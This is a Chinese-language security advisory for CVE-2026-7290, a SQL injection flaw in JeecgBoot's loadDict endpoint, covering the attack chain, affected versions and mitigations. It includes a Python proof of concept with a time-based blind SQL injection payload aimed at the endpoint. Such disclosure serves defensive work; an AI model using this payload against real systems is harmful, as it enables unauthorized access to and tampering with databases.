IPBUF安全漏洞报告
English
CVE-2026-7290 CVSS 6.3 中危

CVE-2026-7290 JeecgBoot SQL注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-7290
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

SQL注入JeecgBootCVE-2026-7290RCEWeb安全

漏洞概述

JeecgBoot 3.9.1及之前版本存在SQL注入漏洞。攻击者可通过操纵loadDict端点的keyword参数,在无需用户交互的情况下远程发起攻击,导致数据库信息泄露、篡改或破坏。该漏洞利用代码已公开披露,建议尽快修复。

技术细节

该漏洞源于JeecgBoot框架核心组件中`SqlInjectionUtil.java`文件的`SqlInjectionUtil`函数存在安全缺陷。在处理`loadDict`端点请求时,系统对传入的`keyword`参数缺乏严格的输入校验和SQL语句转义机制。攻击者可以利用这一缺陷,通过构造包含特定SQL语法(如单引号、注释符、联合查询等)的恶意字符串作为参数值发送给服务器。由于后端直接将受污染的参数拼接到SQL查询语句中执行,攻击者可成功注入并执行任意SQL命令。这允许攻击者绕过认证或权限限制,从数据库中提取敏感信息(如用户凭证、业务数据),甚至在特定条件下修改或删除数据,对系统的机密性、完整性和可用性造成严重威胁。

攻击链分析

STEP 1
1. 信息收集
攻击者确认目标系统使用的是JeecgBoot框架,并定位到loadDict接口。
STEP 2
2. 漏洞探测
攻击者向loadDict端点发送包含特殊SQL字符的keyword参数,观察服务器响应。
STEP 3
3. 构造攻击载荷
根据探测结果,构造恶意的SQL语句(如UNION SELECT或布尔盲注语句)。
STEP 4
4. 执行注入
将构造好的Payload发送至服务器,后端数据库解析并执行恶意SQL命令。
STEP 5
5. 获取数据
利用SQL注入漏洞读取数据库敏感信息或进行破坏性操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def verify_sql_injection(url): """ PoC for CVE-2026-7290 Target: JeecgBoot loadDict endpoint """ target_endpoint = url.rstrip('/') + '/jeecg-boot/system/dict/loadDict' # Malicious payload to test SQL Injection # Using a time-based blind payload payload = "admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = { "keyword": payload } try: print(f"Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Response delayed.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"[Error] {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" verify_sql_injection(target)

影响范围

JeecgBoot <= 3.9.1

防御指南

临时缓解措施
建议立即部署官方提供的补丁(Commit: a9c8e8eb1185751c4c3c68d2a53f3dadee9edc6b),或升级至安全版本。在未修复前,可通过WAF等安全设备过滤包含特殊字符的请求参数,限制对`/loadDict`接口的网络访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表